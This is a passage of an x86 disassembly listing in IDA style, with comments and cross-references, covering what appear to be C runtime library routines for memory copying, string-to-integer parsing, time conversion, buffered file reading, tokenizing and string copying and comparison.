; DATA XREF: sub_416320+1DDr
jmp off_416600[ecx*4]
; ---------------------------------------------------------------------------
align 4
dd offset loc_416517+1
; ---------------------------------------------------------------------------
cmp [ebp+arg_39], ah
add [eax+65h], ah
inc ecx
loc_416517: ; DATA XREF: sub_416320+1ECo
add [edx-2EDCFCBAh], cl
mov [edi+3], al
dec esi
shr ecx, 2
dec edi
cmp ecx, 8
jb short loc_4164E0
std
rep movsd
cld
jmp off_416600[edx*4]
; ---------------------------------------------------------------------------
align 4
mov al, [esi+3]
and edx, ecx
mov [edi+3], al
mov al, [esi+2]
shr ecx, 2
mov [edi+2], al
sub esi, 2
sub edi, 2
cmp ecx, 8
jb short loc_4164E0
std
rep movsd
cld
jmp off_416600[edx*4]
; ---------------------------------------------------------------------------
align 10h
mov al, [esi+3]
and edx, ecx
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov al, [esi+1]
shr ecx, 2
mov [edi+1], al
sub esi, 3
sub edi, 3
cmp ecx, 8
jb loc_4164E0
std
rep movsd
cld
jmp off_416600[edx*4]
; ---------------------------------------------------------------------------
align 4
dd offset loc_4165B4
dd offset loc_4165BC
dd offset loc_4165C4
dd offset loc_4165CC
dd offset loc_4165D4
dd offset loc_4165DC
dd offset loc_4165E4
off_4165B0 dd offset loc_4165F7 ; DATA XREF: sub_416320+1C2r
; ---------------------------------------------------------------------------
loc_4165B4: ; DATA XREF: sub_416320+274o
mov eax, [esi+ecx*4+1Ch]
mov [edi+ecx*4+1Ch], eax
loc_4165BC: ; DATA XREF: sub_416320+278o
mov eax, [esi+ecx*4+18h]
mov [edi+ecx*4+18h], eax
loc_4165C4: ; DATA XREF: sub_416320+27Co
mov eax, [esi+ecx*4+14h]
mov [edi+ecx*4+14h], eax
loc_4165CC: ; DATA XREF: sub_416320+280o
mov eax, [esi+ecx*4+10h]
mov [edi+ecx*4+10h], eax
loc_4165D4: ; DATA XREF: sub_416320+284o
mov eax, [esi+ecx*4+0Ch]
mov [edi+ecx*4+0Ch], eax
loc_4165DC: ; DATA XREF: sub_416320+288o
mov eax, [esi+ecx*4+8]
mov [edi+ecx*4+8], eax
loc_4165E4: ; DATA XREF: sub_416320+28Co
mov eax, [esi+ecx*4+4]
mov [edi+ecx*4+4], eax
lea eax, ds:0[ecx*4]
add esi, eax
add edi, eax
loc_4165F7: ; CODE XREF: sub_416320+1C2j
; DATA XREF: sub_416320:off_4165B0o
jmp off_416600[edx*4]
; ---------------------------------------------------------------------------
align 10h
off_416600 dd offset loc_416610 ; DATA XREF: sub_416320+1B7r
; sub_416320:loc_416504r ...
dd offset loc_416618
dd offset loc_416628
dd offset loc_41663C
; ---------------------------------------------------------------------------
loc_416610: ; CODE XREF: sub_416320+1B7j
; sub_416320:loc_416504j ...
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_416618: ; CODE XREF: sub_416320+1B7j
; sub_416320:loc_416504j ...
mov al, [esi+3]
mov [edi+3], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_416628: ; CODE XREF: sub_416320+1B7j
; sub_416320:loc_416504j ...
mov al, [esi+3]
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_41663C: ; CODE XREF: sub_416320+1B7j
; sub_416320:loc_416504j ...
mov al, [esi+3]
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov al, [esi+1]
mov [edi+1], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
sub_416320 endp
; =============== S U B R O U T I N E =======================================
sub_416655 proc near ; CODE XREF: sub_404DB8+34p
; sub_404DB8+4Fp ...
arg_0 = dword ptr 4
push 1
push [esp+4+arg_0]
call sub_415BFB
pop ecx
pop ecx
retn
sub_416655 endp
; =============== S U B R O U T I N E =======================================
sub_416663 proc near ; CODE XREF: sub_4166D0+4p
arg_0 = dword ptr 4
push esi
push dword_46D17C
call sub_41B4D8
mov edx, dword_46D17C
pop ecx
mov ecx, dword_46D178
mov esi, ecx
sub esi, edx
add esi, 4
cmp eax, esi
pop esi
jnb short loc_4166C2
push edx
call sub_41B4D8
add eax, 10h
push eax
push dword_46D17C
call sub_41737F
add esp, 0Ch
test eax, eax
jnz short loc_4166A5
retn
; ---------------------------------------------------------------------------
loc_4166A5: ; CODE XREF: sub_416663+3Fj
mov ecx, dword_46D178
sub ecx, dword_46D17C
mov dword_46D17C, eax
sar ecx, 2
lea ecx, [eax+ecx*4]
mov dword_46D178, ecx
loc_4166C2: ; CODE XREF: sub_416663+23j
mov eax, [esp+arg_0]
mov [ecx], eax
add dword_46D178, 4
retn
sub_416663 endp
; =============== S U B R O U T I N E =======================================
sub_4166D0 proc near ; CODE XREF: sub_404EA5+1Ap
; sub_4209EE+5p ...
arg_0 = dword ptr 4
push [esp+arg_0]
call sub_416663
neg eax
sbb eax, eax
pop ecx
neg eax
dec eax
retn
sub_4166D0 endp
; =============== S U B R O U T I N E =======================================
sub_4166E2 proc near ; DATA XREF: .text:00423018o
push 80h
call sub_415BE9
test eax, eax
pop ecx
mov dword_46D17C, eax
jnz short loc_416703
push 18h
call sub_417C0E
mov eax, dword_46D17C
pop ecx
loc_416703: ; CODE XREF: sub_4166E2+12j
and dword ptr [eax], 0
mov eax, dword_46D17C
mov dword_46D178, eax
retn
sub_4166E2 endp
; =============== S U B R O U T I N E =======================================
sub_416711 proc near ; CODE XREF: sub_418AD0+11Bp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push 0
push [esp+4+arg_8]
push [esp+8+arg_4]
push [esp+0Ch+arg_0]
call sub_416728
add esp, 10h
retn
sub_416711 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416728 proc near ; CODE XREF: sub_416711+Ep
; sub_416930+Ep
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
and [ebp+var_8], 0
push esi
push edi
mov edi, [ebp+arg_0]
mov bl, [edi]
lea esi, [edi+1]
mov [ebp+var_4], esi
loc_416740: ; CODE XREF: sub_416728+46j
cmp dword_4385FC, 1
jle short loc_416758
movzx eax, bl
push 8
push eax
call sub_418576
pop ecx
pop ecx
jmp short loc_416767
; ---------------------------------------------------------------------------
loc_416758: ; CODE XREF: sub_416728+1Fj
mov ecx, off_4383F0
movzx eax, bl
mov al, [ecx+eax*2]
and eax, 8
loc_416767: ; CODE XREF: sub_416728+2Ej
test eax, eax
jz short loc_416770
mov bl, [esi]
inc esi
jmp short loc_416740
; ---------------------------------------------------------------------------
loc_416770: ; CODE XREF: sub_416728+41j
cmp bl, 2Dh
mov [ebp+var_4], esi
jnz short loc_41677E
or [ebp+arg_C], 2
jmp short loc_416783
; ---------------------------------------------------------------------------
loc_41677E: ; CODE XREF: sub_416728+4Ej
cmp bl, 2Bh
jnz short loc_416789
loc_416783: ; CODE XREF: sub_416728+54j
mov bl, [esi]
inc esi
mov [ebp+var_4], esi
loc_416789: ; CODE XREF: sub_416728+59j
mov eax, [ebp+arg_8]
test eax, eax
jl loc_416920
cmp eax, 1
jz loc_416920
cmp eax, 24h
jg loc_416920
push 10h
test eax, eax
pop ecx
jnz short loc_4167D1
cmp bl, 30h
jz short loc_4167BB
mov [ebp+arg_8], 0Ah
jmp short loc_4167ED
; ---------------------------------------------------------------------------
loc_4167BB: ; CODE XREF: sub_416728+88j
mov al, [esi]
cmp al, 78h
jz short loc_4167CE
cmp al, 58h
jz short loc_4167CE
mov [ebp+arg_8], 8
jmp short loc_4167ED
; ---------------------------------------------------------------------------
loc_4167CE: ; CODE XREF: sub_416728+97j
; sub_416728+9Bj
mov [ebp+arg_8], ecx
loc_4167D1: ; CODE XREF: sub_416728+83j
cmp [ebp+arg_8], ecx
jnz short loc_4167ED
cmp bl, 30h
jnz short loc_4167ED
mov al, [esi]
cmp al, 78h
jz short loc_4167E5
cmp al, 58h
jnz short loc_4167ED
loc_4167E5: ; CODE XREF: sub_416728+B7j
mov bl, [esi+1]
inc esi
inc esi
mov [ebp+var_4], esi
loc_4167ED: ; CODE XREF: sub_416728+91j
; sub_416728+A4j ...
or eax, 0FFFFFFFFh
xor edx, edx
div [ebp+arg_8]
mov edi, 103h
mov [ebp+var_C], eax
loc_4167FD: ; CODE XREF: sub_416728+16Cj
cmp dword_4385FC, 1
movzx esi, bl
jle short loc_416815
push 4
push esi
call sub_418576
pop ecx
pop ecx
jmp short loc_416820
; ---------------------------------------------------------------------------
loc_416815: ; CODE XREF: sub_416728+DFj
mov eax, off_4383F0
mov al, [eax+esi*2]
and eax, 4
loc_416820: ; CODE XREF: sub_416728+EBj
test eax, eax
jz short loc_41682C
movsx ecx, bl
sub ecx, 30h
jmp short loc_41685E
; ---------------------------------------------------------------------------
loc_41682C: ; CODE XREF: sub_416728+FAj
cmp dword_4385FC, 1
jle short loc_416840
push edi
push esi
call sub_418576
pop ecx
pop ecx
jmp short loc_41684B
; ---------------------------------------------------------------------------
loc_416840: ; CODE XREF: sub_416728+10Bj
mov eax, off_4383F0
mov ax, [eax+esi*2]
and eax, edi
loc_41684B: ; CODE XREF: sub_416728+116j
test eax, eax
jz short loc_416899
movsx eax, bl
push eax
call sub_41B539
pop ecx
mov ecx, eax
sub ecx, 37h
loc_41685E: ; CODE XREF: sub_416728+102j
cmp ecx, [ebp+arg_8]
jnb short loc_416899
mov esi, [ebp+var_8]
or [ebp+arg_C], 8
cmp esi, [ebp+var_C]
jb short loc_416883
jnz short loc_41687D
or eax, 0FFFFFFFFh
xor edx, edx
div [ebp+arg_8]
cmp ecx, edx
jbe short loc_416883
loc_41687D: ; CODE XREF: sub_416728+147j
or [ebp+arg_C], 4
jmp short loc_41688C
; ---------------------------------------------------------------------------
loc_416883: ; CODE XREF: sub_416728+145j
; sub_416728+153j
imul esi, [ebp+arg_8]
add esi, ecx
mov [ebp+var_8], esi
loc_41688C: ; CODE XREF: sub_416728+159j
mov eax, [ebp+var_4]
inc [ebp+var_4]
mov bl, [eax]
jmp loc_4167FD
; ---------------------------------------------------------------------------
loc_416899: ; CODE XREF: sub_416728+125j
; sub_416728+139j
mov ecx, [ebp+arg_C]
dec [ebp+var_4]
mov edx, [ebp+arg_4]
test cl, 8
jnz short loc_4168B7
test edx, edx
jz short loc_4168B1
mov eax, [ebp+arg_0]
mov [ebp+var_4], eax
loc_4168B1: ; CODE XREF: sub_416728+181j
and [ebp+var_8], 0
jmp short loc_416904
; ---------------------------------------------------------------------------
loc_4168B7: ; CODE XREF: sub_416728+17Dj
test cl, 4
mov eax, 7FFFFFFFh
jnz short loc_4168DD
test cl, 1
jnz short loc_416904
and ecx, 2
jz short loc_4168D4
cmp [ebp+var_8], 80000000h
ja short loc_4168DD
loc_4168D4: ; CODE XREF: sub_416728+1A1j
test ecx, ecx
jnz short loc_416904
cmp [ebp+var_8], eax
jbe short loc_416904
loc_4168DD: ; CODE XREF: sub_416728+197j
; sub_416728+1AAj
test byte ptr [ebp+arg_C], 1
mov dword_46BB04, 22h
jz short loc_4168F3
or [ebp+var_8], 0FFFFFFFFh
jmp short loc_416904
; ---------------------------------------------------------------------------
loc_4168F3: ; CODE XREF: sub_416728+1C3j
mov ecx, [ebp+arg_C]
and cl, 2
neg cl
sbb ecx, ecx
neg ecx
add ecx, eax
mov [ebp+var_8], ecx
loc_416904: ; CODE XREF: sub_416728+18Dj
; sub_416728+19Cj ...
test edx, edx
jz short loc_41690D
mov eax, [ebp+var_4]
mov [edx], eax
loc_41690D: ; CODE XREF: sub_416728+1DEj
test byte ptr [ebp+arg_C], 2
jz short loc_41691B
mov eax, [ebp+var_8]
neg eax
mov [ebp+var_8], eax
loc_41691B: ; CODE XREF: sub_416728+1E9j
mov eax, [ebp+var_8]
jmp short loc_41692B
; ---------------------------------------------------------------------------
loc_416920: ; CODE XREF: sub_416728+66j
; sub_416728+6Fj ...
mov eax, [ebp+arg_4]
test eax, eax
jz short loc_416929
mov [eax], edi
loc_416929: ; CODE XREF: sub_416728+1FDj
xor eax, eax
loc_41692B: ; CODE XREF: sub_416728+1F6j
pop edi
pop esi
pop ebx
leave
retn
sub_416728 endp
; =============== S U B R O U T I N E =======================================
sub_416930 proc near ; CODE XREF: sub_405398+4A6p
; sub_40CD3A+359Ep ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push 1
push [esp+4+arg_8]
push [esp+8+arg_4]
push [esp+0Ch+arg_0]
call sub_416728
add esp, 10h
retn
sub_416930 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416947 proc near ; CODE XREF: sub_405398+24Cp
; sub_405398+450p ...
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = byte ptr 10h
push ebp
mov ebp, esp
sub esp, 20h
mov eax, [ebp+arg_0]
mov [ebp+var_14], 49h
push eax
mov [ebp+var_18], eax
mov [ebp+var_20], eax
call sub_415B10
mov [ebp+var_1C], eax
lea eax, [ebp+arg_8]
push eax
lea eax, [ebp+var_20]
push [ebp+arg_4]
push eax
call sub_41B605
add esp, 10h
leave
retn
sub_416947 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41697B proc near ; CODE XREF: sub_405398+4Ep
var_CC = byte ptr -0CCh
var_32 = word ptr -32h
var_24 = dword ptr -24h
var_20 = word ptr -20h
var_1E = word ptr -1Eh
var_1A = word ptr -1Ah
var_18 = word ptr -18h
var_16 = word ptr -16h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_A = word ptr -0Ah
var_8 = word ptr -8
var_6 = word ptr -6
var_4 = word ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0CCh
lea eax, [ebp+var_10]
push eax
call dword_42105C ; GetLocalTime
lea eax, [ebp+var_20]
push eax
call dword_42115C ; GetSystemTime
mov ax, [ebp+var_16]
cmp ax, word_46BAFA
jnz short loc_4169E0
mov ax, [ebp+var_18]
cmp ax, word_46BAF8
jnz short loc_4169E0
mov ax, [ebp+var_1A]
cmp ax, word_46BAF6
jnz short loc_4169E0
mov ax, [ebp+var_1E]
cmp ax, word_46BAF2
jnz short loc_4169E0
mov ax, [ebp+var_20]
cmp ax, word_46BAF0
jnz short loc_4169E0
mov eax, dword_46BAE8
jmp short loc_416A25
; ---------------------------------------------------------------------------
loc_4169E0: ; CODE XREF: sub_41697B+28j
; sub_41697B+35j ...
lea eax, [ebp+var_CC]
push eax
call dword_421158 ; GetTimeZoneInformation
cmp eax, 0FFFFFFFFh
jz short loc_416A0D
cmp eax, 2
jnz short loc_416A09
cmp [ebp+var_32], 0
jz short loc_416A09
cmp [ebp+var_24], 0
jz short loc_416A09
push 1
pop eax
jmp short loc_416A10
; ---------------------------------------------------------------------------
loc_416A09: ; CODE XREF: sub_41697B+7Aj
; sub_41697B+81j ...
xor eax, eax
jmp short loc_416A10
; ---------------------------------------------------------------------------
loc_416A0D: ; CODE XREF: sub_41697B+75j
or eax, 0FFFFFFFFh
loc_416A10: ; CODE XREF: sub_41697B+8Cj
; sub_41697B+90j
push esi
push edi
lea esi, [ebp+var_20]
mov edi, offset word_46BAF0
movsd
movsd
movsd
movsd
pop edi
mov dword_46BAE8, eax
pop esi
loc_416A25: ; CODE XREF: sub_41697B+63j
push eax
movzx eax, [ebp+var_4]
push eax
movzx eax, [ebp+var_6]
push eax
movzx eax, [ebp+var_8]
push eax
movzx eax, [ebp+var_A]
push eax
movzx eax, [ebp+var_E]
push eax
movzx eax, [ebp+var_10]
push eax
call sub_41C0B6
mov ecx, [ebp+arg_0]
add esp, 1Ch
test ecx, ecx
jz short locret_416A55
mov [ecx], eax
locret_416A55: ; CODE XREF: sub_41697B+D6j
leave
retn
sub_41697B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416A57 proc near ; CODE XREF: sub_4059FC+4Ep
; sub_406B84+30Ep ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, [ebp+arg_4]
imul edi, [ebp+arg_8]
mov ebx, [ebp+arg_0]
mov ecx, edi
test edi, edi
mov [ebp+var_4], edi
mov [ebp+arg_0], ecx
jnz short loc_416A7B
xor eax, eax
jmp loc_416B24
; ---------------------------------------------------------------------------
loc_416A7B: ; CODE XREF: sub_416A57+1Bj
mov esi, [ebp+arg_C]
test word ptr [esi+0Ch], 10Ch
jz short loc_416A8E
mov eax, [esi+18h]
mov [ebp+arg_C], eax
jmp short loc_416A9A
; ---------------------------------------------------------------------------
loc_416A8E: ; CODE XREF: sub_416A57+2Dj
mov [ebp+arg_C], 1000h
jmp short loc_416A9A
; ---------------------------------------------------------------------------
loc_416A97: ; CODE XREF: sub_416A57+C4j
mov ecx, [ebp+arg_0]
loc_416A9A: ; CODE XREF: sub_416A57+35j
; sub_416A57+3Ej
test word ptr [esi+0Ch], 10Ch
jz short loc_416ACC
mov eax, [esi+4]
test eax, eax
jz short loc_416ACC
cmp ecx, eax
mov edi, ecx
jb short loc_416AB1
mov edi, eax
loc_416AB1: ; CODE XREF: sub_416A57+56j
push edi
push dword ptr [esi]
push ebx
call sub_4153F0
sub [ebp+arg_0], edi
sub [esi+4], edi
add [esi], edi
add esp, 0Ch
add ebx, edi
mov edi, [ebp+var_4]
jmp short loc_416B17
; ---------------------------------------------------------------------------
loc_416ACC: ; CODE XREF: sub_416A57+49j
; sub_416A57+50j
cmp ecx, [ebp+arg_C]
jb short loc_416AFF
cmp [ebp+arg_C], 0
mov eax, ecx
jz short loc_416AE2
xor edx, edx
div [ebp+arg_C]
mov eax, ecx
sub eax, edx
loc_416AE2: ; CODE XREF: sub_416A57+80j
push eax
push ebx
push dword ptr [esi+10h]
call sub_41C251
add esp, 0Ch
test eax, eax
jz short loc_416B29
cmp eax, 0FFFFFFFFh
jz short loc_416B2F
sub [ebp+arg_0], eax
add ebx, eax
jmp short loc_416B17
; ---------------------------------------------------------------------------
loc_416AFF: ; CODE XREF: sub_416A57+78j
push esi
call sub_41C178
cmp eax, 0FFFFFFFFh
pop ecx
jz short loc_416B33
mov [ebx], al
mov eax, [esi+18h]
inc ebx
dec [ebp+arg_0]
mov [ebp+arg_C], eax
loc_416B17: ; CODE XREF: sub_416A57+73j
; sub_416A57+A6j
cmp [ebp+arg_0], 0
jnz loc_416A97
mov eax, [ebp+arg_8]
loc_416B24: ; CODE XREF: sub_416A57+1Fj
; sub_416A57+E6j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_416B29: ; CODE XREF: sub_416A57+9Aj
or dword ptr [esi+0Ch], 10h
jmp short loc_416B33
; ---------------------------------------------------------------------------
loc_416B2F: ; CODE XREF: sub_416A57+9Fj
or dword ptr [esi+0Ch], 20h
loc_416B33: ; CODE XREF: sub_416A57+B2j
; sub_416A57+D6j
mov eax, edi
xor edx, edx
sub eax, [ebp+arg_0]
div [ebp+arg_4]
jmp short loc_416B24
sub_416A57 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416B3F proc near ; CODE XREF: sub_405A96+2A1p
; sub_406048+100p ...
var_20 = byte ptr -20h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 20h
push ebx
push esi
mov esi, [ebp+arg_4]
push edi
push 8
xor eax, eax
pop ecx
lea edi, [ebp+var_20]
rep stosd
push 7
pop edi
loc_416B58: ; CODE XREF: sub_416B3F+32j
mov dl, [esi]
mov bl, 1
movzx ecx, dl
mov eax, ecx
and ecx, edi
shr eax, 3
shl bl, cl
lea eax, [ebp+eax+var_20]
or [eax], bl
inc esi
test dl, dl
jnz short loc_416B58
mov edx, [ebp+arg_0]
test edx, edx
jnz short loc_416B80
mov edx, dword_46BB00
loc_416B80: ; CODE XREF: sub_416B3F+39j
; sub_416B3F+5Fj
mov al, [edx]
push 1
movzx esi, al
mov ecx, esi
pop ebx
and ecx, edi
shl ebx, cl
shr esi, 3
mov cl, [ebp+esi+var_20]
test bl, cl
jz short loc_416BA0
test al, al
jz short loc_416BA0
inc edx
jmp short loc_416B80
; ---------------------------------------------------------------------------
loc_416BA0: ; CODE XREF: sub_416B3F+58j
; sub_416B3F+5Cj
mov ebx, edx
loc_416BA2: ; CODE XREF: sub_416B3F+81j
mov al, [edx]
test al, al
jz short loc_416BC6
movzx esi, al
mov ecx, esi
push 1
and ecx, edi
pop eax
shl eax, cl
shr esi, 3
mov cl, [ebp+esi+var_20]
test al, cl
jnz short loc_416BC2
inc edx
jmp short loc_416BA2
; ---------------------------------------------------------------------------
loc_416BC2: ; CODE XREF: sub_416B3F+7Ej
and byte ptr [edx], 0
inc edx
loc_416BC6: ; CODE XREF: sub_416B3F+67j
mov eax, ebx
pop edi
sub eax, edx
pop esi
neg eax
sbb eax, eax
mov dword_46BB00, edx
and eax, ebx
pop ebx
leave
retn
sub_416B3F endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_416BE0 proc near ; CODE XREF: sub_4062F7+1B3p
; sub_4071B6+6Ep ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov ecx, [esp+arg_8]
push edi
test ecx, ecx
jz short loc_416C63
push esi
push ebx
mov ebx, ecx
mov esi, [esp+0Ch+arg_4]
test esi, 3
mov edi, [esp+0Ch+arg_0]
jnz short loc_416C04
shr ecx, 2
jnz short loc_416C71
jmp short loc_416C25
; ---------------------------------------------------------------------------
loc_416C04: ; CODE XREF: sub_416BE0+1Bj
; sub_416BE0+37j
mov al, [esi]
inc esi
mov [edi], al
inc edi
dec ecx
jz short loc_416C32
test al, al
jz short loc_416C3A
test esi, 3
jnz short loc_416C04
mov ebx, ecx
shr ecx, 2
jnz short loc_416C71
loc_416C20: ; CODE XREF: sub_416BE0+8Fj
and ebx, 3
jz short loc_416C32
loc_416C25: ; CODE XREF: sub_416BE0+22j
; sub_416BE0+50j
mov al, [esi]
inc esi
mov [edi], al
inc edi
test al, al
jz short loc_416C5E
dec ebx
jnz short loc_416C25
loc_416C32: ; CODE XREF: sub_416BE0+2Bj
; sub_416BE0+43j
mov eax, [esp+0Ch+arg_0]
pop ebx
pop esi
pop edi
retn
; ---------------------------------------------------------------------------
loc_416C3A: ; CODE XREF: sub_416BE0+2Fj
test edi, 3
jz short loc_416C54
loc_416C42: ; CODE XREF: sub_416BE0+72j
mov [edi], al
inc edi
dec ecx
jz loc_416CD6
test edi, 3
jnz short loc_416C42
loc_416C54: ; CODE XREF: sub_416BE0+60j
mov ebx, ecx
shr ecx, 2
jnz short loc_416CC7
loc_416C5B: ; CODE XREF: sub_416BE0+7Fj
; sub_416BE0+F4j
mov [edi], al
inc edi
loc_416C5E: ; CODE XREF: sub_416BE0+4Dj
dec ebx
jnz short loc_416C5B
pop ebx
pop esi
loc_416C63: ; CODE XREF: sub_416BE0+7j
mov eax, [esp+4+arg_0]
pop edi
retn
; ---------------------------------------------------------------------------
loc_416C69: ; CODE XREF: sub_416BE0+A9j
; sub_416BE0+C1j
mov [edi], edx
add edi, 4
dec ecx
jz short loc_416C20
loc_416C71: ; CODE XREF: sub_416BE0+20j
; sub_416BE0+3Ej
mov edx, 7EFEFEFFh
mov eax, [esi]
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
mov edx, [esi]
add esi, 4
test eax, 81010100h
jz short loc_416C69
test dl, dl
jz short loc_416CBB
test dh, dh
jz short loc_416CB1
test edx, 0FF0000h
jz short loc_416CA7
test edx, 0FF000000h
jnz short loc_416C69
mov [edi], edx
jmp short loc_416CBF
; ---------------------------------------------------------------------------
loc_416CA7: ; CODE XREF: sub_416BE0+B9j
and edx, 0FFFFh
mov [edi], edx
jmp short loc_416CBF
; ---------------------------------------------------------------------------
loc_416CB1: ; CODE XREF: sub_416BE0+B1j
and edx, 0FFh
mov [edi], edx
jmp short loc_416CBF
; ---------------------------------------------------------------------------
loc_416CBB: ; CODE XREF: sub_416BE0+ADj
xor edx, edx
mov [edi], edx
loc_416CBF: ; CODE XREF: sub_416BE0+C5j
; sub_416BE0+CFj ...
add edi, 4
xor eax, eax
dec ecx
jz short loc_416CD1
loc_416CC7: ; CODE XREF: sub_416BE0+79j
xor eax, eax
loc_416CC9: ; CODE XREF: sub_416BE0+EFj
mov [edi], eax
add edi, 4
dec ecx
jnz short loc_416CC9
loc_416CD1: ; CODE XREF: sub_416BE0+E5j
and ebx, 3
jnz short loc_416C5B
loc_416CD6: ; CODE XREF: sub_416BE0+66j
mov eax, [esp+0Ch+arg_0]
pop ebx
pop esi
pop edi
retn
sub_416BE0 endp
; =============== S U B R O U T I N E =======================================
sub_416CDE proc near ; CODE XREF: sub_406B84+2E2p
; sub_406B84+42Fp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push esi
mov esi, [esp+4+arg_0]
push edi
mov eax, [esi+0Ch]
test al, 83h
jz short loc_416D5A
mov edi, [esp+8+arg_8]
test edi, edi
jz short loc_416CFD
cmp edi, 1
jz short loc_416CFD
cmp edi, 2
jnz short loc_416D5A
loc_416CFD: ; CODE XREF: sub_416CDE+13j
; sub_416CDE+18j
and al, 0EFh
cmp edi, 1
mov [esi+0Ch], eax
jnz short loc_416D14
push esi
call sub_41C4E1
add [esp+0Ch+arg_4], eax
pop ecx
xor edi, edi
loc_416D14: ; CODE XREF: sub_416CDE+27j
push esi
call sub_418704
mov eax, [esi+0Ch]
pop ecx
test al, 80h
jz short loc_416D29
and al, 0FCh
mov [esi+0Ch], eax
jmp short loc_416D3D
; ---------------------------------------------------------------------------
loc_416D29: ; CODE XREF: sub_416CDE+42j
test al, 1
jz short loc_416D3D
test al, 8
jz short loc_416D3D
test ah, 4
jnz short loc_416D3D
mov dword ptr [esi+18h], 200h
loc_416D3D: ; CODE XREF: sub_416CDE+49j
; sub_416CDE+4Dj ...
push edi
push [esp+0Ch+arg_4]
push dword ptr [esi+10h]
call sub_41C447
add esp, 0Ch
xor ecx, ecx
cmp eax, 0FFFFFFFFh
setnz cl
dec ecx
mov eax, ecx
jmp short loc_416D67
; ---------------------------------------------------------------------------
loc_416D5A: ; CODE XREF: sub_416CDE+Bj
; sub_416CDE+1Dj
mov dword_46BB04, 16h
or eax, 0FFFFFFFFh
loc_416D67: ; CODE XREF: sub_416CDE+7Aj
pop edi
pop esi
retn
sub_416CDE endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416D70 proc near ; CODE XREF: sub_406B84+2ACp
; sub_406B84+2CDp ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push edi
push esi
push ebx
mov ecx, [ebp+arg_8]
jecxz short loc_416DA1
mov ebx, ecx
mov edi, [ebp+arg_0]
mov esi, edi
xor eax, eax
repne scasb
neg ecx
add ecx, ebx
mov edi, esi
mov esi, [ebp+arg_4]
repe cmpsb
mov al, [esi-1]
xor ecx, ecx
cmp al, [edi-1]
ja short loc_416D9F
jz short loc_416DA1
dec ecx
dec ecx
loc_416D9F: ; CODE XREF: sub_416D70+29j
not ecx
loc_416DA1: ; CODE XREF: sub_416D70+9j
; sub_416D70+2Bj
mov eax, ecx
pop ebx
pop esi
pop edi
leave
retn
sub_416D70 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_416DB0 proc near ; CODE XREF: sub_407075+5Cp
; sub_407075+9Bp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov ecx, [esp+arg_8]
push edi
test ecx, ecx
jz loc_416E64
mov edi, [esp+4+arg_0]
push esi
test edi, 3
push ebx
jz short loc_416DDA
loc_416DCB: ; CODE XREF: sub_416DB0+28j
mov al, [edi]
inc edi
test al, al
jz short loc_416E0B
test edi, 3
jnz short loc_416DCB
loc_416DDA: ; CODE XREF: sub_416DB0+19j
; sub_416DB0+40j ...
mov eax, [edi]
mov edx, 7EFEFEFFh
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
add edi, 4
test eax, 81010100h
jz short loc_416DDA
mov eax, [edi-4]
test al, al
jz short loc_416E18
test ah, ah
jz short loc_416E13
test eax, 0FF0000h
jz short loc_416E0E
test eax, 0FF000000h
jnz short loc_416DDA
loc_416E0B: ; CODE XREF: sub_416DB0+20j
dec edi
jmp short loc_416E1B
; ---------------------------------------------------------------------------
loc_416E0E: ; CODE XREF: sub_416DB0+52j
sub edi, 2
jmp short loc_416E1B
; ---------------------------------------------------------------------------
loc_416E13: ; CODE XREF: sub_416DB0+4Bj
sub edi, 3
jmp short loc_416E1B
; ---------------------------------------------------------------------------
loc_416E18: ; CODE XREF: sub_416DB0+47j
sub edi, 4
loc_416E1B: ; CODE XREF: sub_416DB0+5Cj
; sub_416DB0+61j ...
mov esi, [esp+0Ch+arg_4]
test esi, 3
jnz short loc_416E30
mov ebx, ecx
shr ecx, 2
jnz short loc_416E7C
jmp short loc_416E4C
; ---------------------------------------------------------------------------
loc_416E30: ; CODE XREF: sub_416DB0+75j
; sub_416DB0+93j
mov dl, [esi]
inc esi
test dl, dl
jz short loc_416E6A
